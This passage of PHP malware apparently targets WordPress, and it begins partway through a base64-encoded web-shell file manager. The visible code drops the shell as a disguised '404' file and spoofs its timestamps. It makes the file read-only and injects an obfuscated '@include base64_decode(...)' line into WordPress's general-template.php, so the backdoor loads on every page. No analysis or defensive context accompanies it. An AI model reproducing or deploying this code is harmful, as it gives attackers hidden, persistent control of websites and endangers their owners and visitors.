2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}